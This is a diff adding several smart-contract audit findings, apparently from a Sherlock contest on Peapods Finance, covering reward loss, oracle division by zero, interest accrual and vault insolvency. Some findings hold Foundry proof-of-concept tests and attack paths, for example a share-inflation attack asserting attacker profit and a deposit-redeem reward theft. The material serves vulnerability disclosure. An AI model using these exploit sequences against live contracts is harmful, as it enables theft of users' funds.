+ address victim = makeAddr('victim');
+ deal(asset, victim, 20e18);
+ uint256 victimBeforeBalance = IERC20(asset).balanceOf(victim);
+ vm.startPrank(victim);
+ IERC20(asset).approve(address(autoCompoundingPodLp), 20e18);
+ autoCompoundingPodLp.deposit(20e18, victim);
+ vm.stopPrank();
+
+ assertEq(autoCompoundingPodLp.totalSupply(), 2); // Total supply is now 2 shares, user only received 1 share despite depositing more than the total assets (round down)
+
+ vm.startPrank(attacker);
+ autoCompoundingPodLp.redeem(1, attacker, attacker);
+ vm.stopPrank();
+
+
+ vm.startPrank(victim);
+ autoCompoundingPodLp.redeem(1, victim, victim);
+ vm.stopPrank();
+
+ uint256 attackerAfterBalance = IERC20(asset).balanceOf(attacker);
+ uint256 attackerProfit = attackerAfterBalance - attackerInitialBalance;
+ assertEq(attackerProfit, 3921167270471535599); // PROFIT
+
+ uint256 victimAfterBalance = IERC20(asset).balanceOf(victim);
+ uint256 victimLoss = victimBeforeBalance - victimAfterBalance;
+ assertEq(victimLoss, 3921167270471535599); // LOSS
+ }
+```
+
+### Mitigation
+
+```diff
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ address _lpToken = _pod.lpStakingPool();
+ IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
+ IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
+- AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
++ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, address(0xdead));
+ }
+```
\ No newline at end of file
diff --git a/167.md b/167.md
new file mode 100644
index 0000000..e72bc64
--- /dev/null
+++ b/167.md
@@ -0,0 +1,87 @@
+Spicy Lavender Capybara
+
+High
+
+# User rewards will be lost
+
+### Summary
+
+When a token in `REWARDS_WHITELISTER` is paused, increasing `TokenReward.share` will result in the loss of related token rewards. During share transfers between users, the excluded value updates, potentially causing the complete loss of rewards. This is critical, as an attacker can make a user lose their rewards by sending just 1 wei of share to the target address.
+### Root Cause
+
+In [TokenRewards.TokenRewards:L113-L135](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/TokenRewards.sol#L113-L135) there is incorrect logic
+
+### Internal Pre-conditions
+
+RewardsWhitelist's owner needs to call function `setPaused()` will target token pause.
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+An attacker can exploit `StakingPoolToken`'s `transfer` or `transferFrom` to forcibly execute `TokenRewards.setShares` on the target address, causing the user's `excluded` value to be updated. Additionally, when a user stakes in `StakingPoolToken`, `TokenRewards.setShares` is also called, updating the user's `excluded` and preventing reward claims.
+### Impact
+
+Users lose their all rewards
+### PoC
+
+Run command `forge test --match-test "testRewardPauseAttack -vvv" and the function testRewardPauseAttack input TokenRewards.t.sol
+```solidity
+ contract MockRewardsWhitelister {
+ bool private _paused;
+ mapping(address => bool) private _whitelist;
+
+ function whitelist(address token) public view returns (bool) {
+ return _whitelist[token];
+ }
+
+ function setWhitelist(address token, bool status) public {
+ _whitelist[token] = status;
+ }
+
+ function paused(address token) public view returns (bool) {
+ return !_whitelist[token];
+ }
+
+ function setPaused(bool paused_) public {
+ _paused = paused_;
+ }
+ }
+ ...
+ function testRewardPauseAttack() public {
+ rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+ // Add shares for two users
+ vm.startPrank(address(trackingToken));
+ tokenRewards.setShares(user1, 60e18, false); // 60%
+ tokenRewards.setShares(user2, 40e18, false); // 40%
+ vm.stopPrank();
+
+ // Deposit rewards
+ uint256 depositAmount = 100e18;
+ tokenRewards.depositRewards(address(rewardsToken), depositAmount);
+ rewardsWhitelister.setWhitelist(address(rewardsToken), false);
+ vm.startPrank(address(trackingToken));
+ tokenRewards.setShares(user2, 100e18, false);
+ vm.stopPrank();
+ rewardsWhitelister.setWhitelist(address(rewardsToken), true);
+ // Claim rewards for both users
+ tokenRewards.claimReward(user1);
+ tokenRewards.claimReward(user2);
+
+
+
+ // Check distribution accuracy
+ uint256 user1Balance = rewardsToken.balanceOf(user1);
+ uint256 user2Balance = rewardsToken.balanceOf(user2);
+
+ console.log("user1Balance: %d", user1Balance);
+ // user2Balance will be 0
+ console.log("user2Balance: %d", user2Balance);
+ }
+```
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/168.md b/168.md
new file mode 100644
index 0000000..b4f76f5
--- /dev/null
+++ b/168.md
@@ -0,0 +1,107 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_tokenToPodLp` will lower the yield of `AutoCompoundingPodLp` during volatile markets
+
+### Summary
+
+`AutoCompoundingPodLp` is made to compound staked LP. Where pod shares are paired with another asset and staked into UNIv2, then this LP is staked into another wrapper and then sent to `AutoCompoundingPodLp` to be compounded. The whole idea is for these shares to accrue more value when markets are volatile as pods charge a fee on transfers and thus when the market moves fast the pods accumulate more value.
+
+However under those volatile markets, instead of `AutoCompoundingPodLp` to be compounding the volatile and price changes it wold be reducing the yield.
+
+### Root Cause
+
+When swapping with `_tokenToPodLp` we first charge a fee on the paired token
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+```
+
+Where before the fee and before we get the paired token we call `_tokenToPairedLpToken`.
+
+And after the fee we invoke `_pairedLpTokenToPodLp` to swap the `_pairedLpToken` into `pod` tokens and then LP them.
+```solidity
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+
+ // (podBasePrice * _pairedSwapAmt * 10^(podDecimals) / 10^(pairedLpDecimals) / 1e18) * 95%
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+
+ try indexUtils.addLPAndStake(
+ pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+```
+
+However we give only 5% slippage tolerance and if the markets are volatile with fast price changes, then the TX will most likely fail, which means that on the next call we would charge the same fee on the same amount that should have been distributed.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+Fee is 20%
+
+1. Users swap reward tokens into paired LP worth 200 USD, these tokens get charged 40 USD in paired token value
+2. `_pairedLpTokenToPodLp` tries to swap into pod tokens and LP them, but fails as price moves fast and the slippage is above 5%
+3. After a few hours the flow gets triggered again with another 100 USD swapped into paired LP
+4. The total paired LP it gets charge again 20% -> 160 + 100 = 260 * 20% = 52 USD in paired LP tokens
+
+The second charge was 100 * 20% = 20, 52 - 20 = 32 tokens more, due to the first batch not being able to be swapped into the pod token and LP-ed into the pool. Now if the TX reverts again the next batch would also include this one and also charge the 20% fee.
+
+
+Moreover malicious users can manipulate this by purposefully manipulating the slippage with a flash loan to lower the yield. This would be extremely cheap on ARB, BASE or POLY. It won't benefit them, however it would lower the yield for all of the other users.
+
+### Impact
+
+The same fee is charged on the same swapped amount, which would significantly decrees yield, especially in times where it should be the highest.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Charge the fee only on the new swapped balances. Also consider reworking the whole flow as it uses multiple swaps in a for loop that are not needed. First swap all of the rewards into the paired token, then execute the rest in `_pairedLpTokenToPodLp`.
\ No newline at end of file
diff --git a/169.md b/169.md
new file mode 100644
index 0000000..a31fd53
--- /dev/null
+++ b/169.md
@@ -0,0 +1,112 @@
+Fast Khaki Raccoon
+
+High
+
+# Bad data would DOS the whole `AutoCompoundingPodLp`
+
+### Summary
+
+
+Division by 0 would DOS half of the system and cause bad debt accrual inside frax lending
+
+### Root Cause
+
+`getPodPerBasePrice`, used inside the main flow in `AutoCompoundingPodLp` (`_processRewardsToPodLp` -> `_tokenToPodLp` -> `_pairedLpTokenToPodLp` ) has one critical flaw - it can devide by 0, leading to a revert:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104-L106
+```solidity
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+```
+
+The issue appears as `_calculateBasePerPTkn` will return 0 when `_isBadData` is true:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170-L186
+```solidity
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+```
+
+Where `_isBadData` can be multiple things, one of which is for the ChainLink oracleto have updated it's prices later than it's appointed `_maxDelay`, which happens more than often:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L188-L194
+```solidity
+ function _getDefaultPrice18() internal view returns (bool _isBadData, uint256 _price18) {
+ (_isBadData, _price18) = IMinimalSinglePriceOracle(UNISWAP_V3_SINGLE_PRICE_ORACLE).getPriceUSD18(
+ BASE_CONVERSION_CHAINLINK_FEED, underlyingTkn, UNDERLYING_TKN_CL_POOL, twapInterval
+ );
+
+ if (_isBadData) {
+ return (true, 0);
+ }
+ //...
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/UniswapV3SinglePriceOracle.sol#L32
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteV3Pool,
+ uint256 _twapInterval
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ uint256 _quotePriceX96 = _getPoolPriceTokenDenomenator(_quoteToken, _quoteV3Pool, uint32(_twapInterval));
+ // default base price to 1, which just means return only quote pool price without any base conversion
+ uint256 _basePrice18 = 10 ** 18;
+ uint256 _updatedAt = block.timestamp;
+
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+ (_basePrice18, _updatedAt, _isBadData) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ }
+ _price18 = (_quotePriceX96 * _basePrice18) / FixedPoint96.Q96;
+
+ uint256 _maxDelay = feedMaxOracleDelay[_clBaseConversionPoolPriceFeed] > 0
+ ? feedMaxOracleDelay[_clBaseConversionPoolPriceFeed]
+ : defaultMaxOracleDelay;
+
+ _isBadData = _isBadData || _updatedAt < block.timestamp - _maxDelay;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+1. One Chainlink oracle id down for one reason or another, or has is still late to update his fees (happens often, some proof - https://x.com/danielvf/status/1693617395292582261)
+2. `_getDefaultPrice18` returns 0, leading to `getPodPerBasePrice` revert as it tries to divide by 0
+
+```solidity
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+```
+
+3. The whole flow inside `AutoCompoundingPodLp` is bricked as it's main updater function reverts - `_processRewardsToPodLp`
+4. LVF doesn't work and frax lend may accrue bad debt if this asset is used as collateral, as liquidators will not be able to acquire it to repay the borrower's debt and thus liquidate him.
+
+### Impact
+
+The whole `AutoCompoundingPodLp` is DOS, which means that the lvf is also bricked, potentially **pods** (if they have compounded podLP as part of their assets) and **frax lending contracts** if they are using compounded podLP for collateral/assets (which they are inside lvf).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead of blocking the whole contract, rely on TWAP, or change the flow that if one oracle is bad the system would rely on the rest.
+
+Another easy fix would be to just put the dangerous code into a try and stop the `_pairedLpTokenToPodLp` flow, which won't impact anything, just pause the yield for some time (until everything is back to normal).
\ No newline at end of file
diff --git a/170.md b/170.md
new file mode 100644
index 0000000..3454277
--- /dev/null
+++ b/170.md
@@ -0,0 +1,72 @@
+Atomic Syrup Leopard
+
+High
+
+# `AutoCompoundingPodLp`.`_getSwapAmt` always uses `r0` because `_pairedLpTokenToPodLp` uses incorrect tokens order
+
+### Summary
+
+In `AutoCompoundingPodLp` ERC4626 contract, `_processRewardsToPodLp` is called to process rewards and it calls `_tokenToPodLp` to swap from `rewardToken` to `PodLp`.
+(`rewardToken` -> `_tokenToPairedLpToken`function -> `PairedLpToken` -> `_pairedLpTokenToPodLp` function ->`PodLp`)
+
+`_pairedLpTokenToPodLp` function used `_getSwapAmt` function for `_pairedSwapAmt` but it always uses`r0` from `Uniswap pool` because it didn't reordered tokens for input.
+
+So it causes incorrect swapping for `PodLP` and it causes loss of funds.(`PodLp`)
+
+Incorrect accounting for _pairedSwapAmt :
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L313-L313
+
+Incorrect amount used for swapping :
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L323-L325
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L391-L395
+
+`_getSwapAmt` gets correct reserve token amount by checking `_swapT == _t0`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L313-L313
+
+Here, using `_getSwapAmt`, `_pairedLpTokenToPodLp` didn't consider tokens order. So if `_pairedLpToken` > `pod`, `r0` is amount of `pod` but it always uses `r0`, so incorrect accounting happens.
+
+And it causes loss of funds than expected.(Incorrect using https://blog.alphaventuredao.io/onesideduniswap/)
+
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Incorrect accounting about reserve token from uniswap pool causes users can get small tokens as result of swapping and it causes loss of funds.
+It breaks core functionality.
+(https://blog.alphaventuredao.io/onesideduniswap/)
+
+Invalid accounting causes loss of funds than expected about all pools that `_pairedLpToken` > `pod`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts\contracts\AutoCompoundingPodLp.sol#L313-L313
+
+```diff
+- uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
++ address t0, t1;
++ if( _pairedLpToken < address(pod))
++ { t0 = _pairedLpToken; t1 = address(pod);}
++ else
++ { t1 = _pairedLpToken; t0 = address(pod);}
++ uint256 _pairedSwapAmt = _getSwapAmt(t0, t1, _pairedLpToken, _amountIn);
+```
\ No newline at end of file
diff --git a/171.md b/171.md
new file mode 100644
index 0000000..d787265
--- /dev/null
+++ b/171.md
@@ -0,0 +1,144 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `addInterest` will not update the interest acurately which would enable users to claim rewards for time that they weren't staked inside `LendingAssetVault`
+
+### Summary
+
+Users would be able to deposit into `LendingAssetVault` and earn interest on the frax lend pair that was generated before they deposited, i.e. claiming rewards for time that they weren't there. This can be further exploited by MEV bots.
+
+This is due to `_updateInterestAndMdInAllVaults` updating on **rate** changes, rather than **share value** ones.
+
+### Root Cause
+
+Notice that there is a difference between the original frax code and the one we have. The difference is that interest is not always added, which would later lead to the issue described bellow:
+
+https://github.com/FraxFinance/fraxlend/blob/main/src/contracts/FraxlendPairCore.sol#L279-L298
+```solidity
+ function addInterest(...) {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ if (_returnAccounting) {
+ _totalAsset = totalAsset;
+ _totalBorrow = totalBorrow;
+ }
+ }
+```
+
+When we deposit we first call `_updateInterestAndMdInAllVaults` to update the interest
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L106-L110
+```solidity
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+
+ // assets * 1e27 / _cbr
+ _shares = convertToShares(_assets);
+
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+`_updateInterestAndMdInAllVaults` loop trough all of the vault and calls `addInterest` on each one of them.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L204-L216
+```solidity
+ function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ uint256 _l = _vaultWhitelistAry.length;
+
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude) {
+ continue;
+ }
+
+ (uint256 _interestEarned,,,,,) = IFraxlendPair(_vault).addInterest(false);
+ if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+ }
+ }
+ }
+```
+
+Where `addInterest` would add interest only if the new `_rateChange` is at least 0.1% bigger than the old one:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L286-L325
+```solidity
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC // 0.1%
+ ) {
+ emit SkipAddingInterest(_rateChange);
+
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+```
+
+However the issue is in how we calculate it. As we use `totalAsset`, `totalBorrow` and the assets inside our `LendingAssetVault`. However both `totalAsset`, `totalBorrow` were last updated when there was a deposit, withdraw, borrow, etc... and back then the interest was accrued. Meaning that the only "fresh" value we have are the assets inside our `LendingAssetVault`, where this call started, and if they were not updated (no deposits/withdraws) then all of the values we used for interest would be outdated.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L286-L325
+```solidity
+ function addInterest(...) external nonReentrant {
+ _currentRateInfo = currentRateInfo;
+
+ uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate = _totalAssetsAvailable == 0
+ ? 0
+ // (1e5 * totalBorrow.amount) / _totalAssetsAvailable
+ : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC // 0.1%
+ ) {
+ emit SkipAddingInterest(_rateChange);
+
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+ }
+```
+
+In short this means that we are trying to calculate the new interest change with values that were changed with the last update on interest and never touched afterwards. This of course will lead to the interest being unchanged, as for the only way `totalBorrow.amount` and `totalAsset.amount` to increase is if there were any interactions or interest updates.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. There are no interactions (deposit/withdraw/borrow) with frax lend for a few hours or days
+2. User deposits, but `_updateInterestAndMdInAllVaults` doesn't update the interest
+
+
+Now the user can deposits another small amount or performs any other auction that will trigger `_updateInterestAndMdInAllVaults` to update the interest on all of the vaults, which is possible as the deposit increased `_totalAssets`, which the vault tracks
+
+The user ca just withdraw, the withdraw will update the interest and thus increase the share value.
+
+### Impact
+
+User has claimed rewards for time that he was not staked. This will happen regularly, where the amounts can range from dust to some reasonable MEV money (a couple of bucks).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Rely on `previewAddInterest` for if the interest should be worth changing as it would us current numbers and perform the actual math thanks to `_calculateInterest`.
+
+```solidity
+ _newCurrentRateInfo = currentRateInfo;
+ // Write return values
+ InterestCalculationResults memory _results = _calculateInterest(_newCurrentRateInfo);
+```
\ No newline at end of file
diff --git a/172.md b/172.md
new file mode 100644
index 0000000..19ea341
--- /dev/null
+++ b/172.md
@@ -0,0 +1,117 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Having a bad frax vault will cause insolvency inside `LendingAssetVault`
+
+### Summary
+
+Frax is made to cover bad debt, by socializing it, the same is not true for `LendingAssetVault`.
+
+### Root Cause
+
+`redeemFromVault` is used by an admin if the system decides to be no longer part of a specific frax vault. Where we can redeem 100% of our shares and leave the vault. After `redeem` follows the reduction in the `vaultUtilization[_vault]` and `_totalAssetsUtilized`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L325-L334
+```solidity
+ function redeemFromVault(address _vault, uint256 _amountShares) external onlyOwner {
+ _updateAssetMetadataFromVault(_vault);
+
+ _amountShares = _amountShares == 0
+ ? IERC20(_vault).balanceOf(address(this))
+ : _amountShares;
+
+ uint256 _amountAssets = IERC4626(_vault).redeem(_amountShares, address(this), address(this));
+
+ uint256 _redeemAmt = vaultUtilization[_vault] < _amountAssets
+ ? vaultUtilization[_vault]
+ : _amountAssets;
+
+ vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault]
+ ? vaultDeposits[_vault]
+ : _redeemAmt;
+
+ vaultUtilization[_vault] -= _redeemAmt;
+ _totalAssetsUtilized -= _redeemAmt;
+
+ emit RedeemFromVault(_vault, _amountShares, _redeemAmt);
+ }
+```
+
+The issue that we currently have is that if the vault was in bad debt and we finish with negative PnL our `vaultUtilization[_vault]` and ` vaultDeposits[_vault]` would be positive, thus our `_totalAssetsUtilized` for this vault is gonna be positive too.
+
+`_totalAssetsUtilized` is the total between all vaults. Imagine that all other vaults withdraw after we close this one on a loss, in this case `_totalAssetsUtilized` will be positive even though we are not taking part in any vault.
+
+
+If it happens once `LendingAssetVault` would be insolvent no matter how much profits the rest of the vaults generate. That is because we use `totalAvailableAssets` to calculate the max amount we can withdraw:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L176-L187
+```solidity
+ function _withdraw(uint256 _shares, uint256 _assets, address _owner, address _caller, address _receiver) internal {
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+
+ // _totalAssets - _totalAssetsUtilized
+ uint256 _totalAvailable = totalAvailableAssets();
+ _totalAssets -= _assets;
+
+ require(_totalAvailable >= _assets, "AV");
+ _burn(_owner, _shares);
+ IERC20(_asset).safeTransfer(_receiver, _assets);
+ emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+ }
+
+ function totalAvailableAssets() public view override returns (uint256) {
+ return _totalAssets - _totalAssetsUtilized;
+ }
+```
+
+
+But convert our shares using `_totalAssets`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L82-L84
+
+```solidity
+ function convertToShares(uint256 _assets) public view override returns (uint256 _shares) {
+ // assets * 1e27 / cbr
+ _shares = (_assets * PRECISION) / _cbr();
+ }
+ function _cbr() internal view returns (uint256) {
+ uint256 _supply = totalSupply();
+ return _supply == 0
+ ? PRECISION
+ // 1e27 * _totalAssets / _supply
+ : (PRECISION * _totalAssets) / _supply;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. We invest in a frax vault
+2. Due to unforeseen circumstances the vault generates some bad debt
+3. People leave the vault as it turned into negative, or at least low PnL
+4. `redeemFromVault` is called by admins to leave the vault and redeem all shares `LendingAssetVault` has
+5. Since there was a slight dip we are unable to close 100% of the utilization and `_totalAssetsUtilized` for this vault
+
+Now `LendingAssetVault` is insolvent. No amount of profit from other vaults would fix this.
+
+### Impact
+
+Insolvency. Not treatable. If it happens once `LendingAssetVault` would be insolvent no matter how much profits the rest of the vaults generate. The last few users of `LendingAssetVault` won't be able to withdraw their assets.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider having for when we withdraw 100% of the shares, but are not able to cover 100% of the utilization. In such cases, try to socialize the debt.
\ No newline at end of file
diff --git a/173.md b/173.md
new file mode 100644
index 0000000..413615a
--- /dev/null
+++ b/173.md
@@ -0,0 +1,251 @@
+Atomic Syrup Leopard
+
+High
+
+# Incorrect logic of process rewards in `AutoCompoundingPodLp` contract allows users to steal rewards from other users
+
+### Summary
+
+The `AutoCompoundingPodLp` contract is designed to compound rewards from the `TokenRewards` contract to staking tokens by swapping, thus accumulating assets of the vault. However, the logic of processing rewards is flawed, which allows users to steal rewards from other users.
+
+### Root Cause
+
+The root cause of the issue stays in [`_processRewardsToPodLp`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L213-L231) function of `AutoCompoundingPodLp` contract, where it does not claim accumulated rewards from `TokenRewards` contract, thus making total assets of the vault incorrect.
+
+### Internal Pre-conditions
+
+- One of reward tokens or paired LP tokens are deposited to the `TokenRewards` contract
+
+### External Pre-conditions
+
+- A malicious user calls `deposit` and then calls `withdraw` immediately
+
+### Attack Path
+
+- Alice and Bob each has 100 `spTkn`
+- Alice has first deposited her 100 `spTkn` to the `AutoCompoundingPodLp` contract
+- At some point, 100 DAI of rewards has been accrued in the `TokenRewards` contract
+- Since Alice and Bob have the same amount of `spTkn`, 50 DAI is for Alice and 50 DAI is for Bob
+- Bob deposits his 100 `spTkn` to the `AutoCompoundingPodLp` contract
+- At the time of Bob's deposit, 50 DAI is transferred from `TokenRewarsd` contract to Bob
+- Bob immediately redeems his `spTkn`
+- Since 50 DAI is accrued to `AutoCompoundingPodLp` contract, 50 DAI is swapped into `spTkn`
+- As Alice and Bob had same amount of `aspToken`, swapped `spTkn` is distributed to Alice and Bob equally
+- As a result, Alice gets 25 DAI as reward, while Bob gets 75 DAI as reward
+
+### Impact
+
+Rewards can always be stolen by malicious users.
+
+### PoC
+
+Here's the test case written in Foundry, which shows how rewards can be stolen by malicious users.
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import {PodHelperTest} from "../helpers/PodHelper.t.sol";
+
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+contract AutoCompoundingPodLpAuditTest is PodHelperTest {
+
+ IERC20 private s_podAsset;
+ PEAS private s_peas;
+ V3TwapUtilities private s_twapUtils;
+ IndexUtils private s_indexUtils;
+ IERC20 private s_dai;
+ UniswapDexAdapter private s_dexAdapter;
+ WeightedIndex private s_pod;
+ StakingPoolToken private s_stakingPool;
+ address private s_UniV2Lp;
+ RewardsWhitelist private s_rewardsWhitelist;
+ AutoCompoundingPodLpFactory private s_aspFactory;
+ AutoCompoundingPodLp private s_asp;
+
+ function setUp() public override {
+ super.setUp();
+
+ s_podAsset = IERC20(address(0x02f92800F57BCD74066F5709F1Daa1A4302Df875)); // Use PEAS as the pod asset
+ s_peas = PEAS(address(0x02f92800F57BCD74066F5709F1Daa1A4302Df875));
+ s_dai = IERC20(address(0x6B175474E89094C44Da98b954EedeAC495271d0F));
+ s_twapUtils = new V3TwapUtilities();
+ s_dexAdapter = new UniswapDexAdapter(
+ s_twapUtils,
+ 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
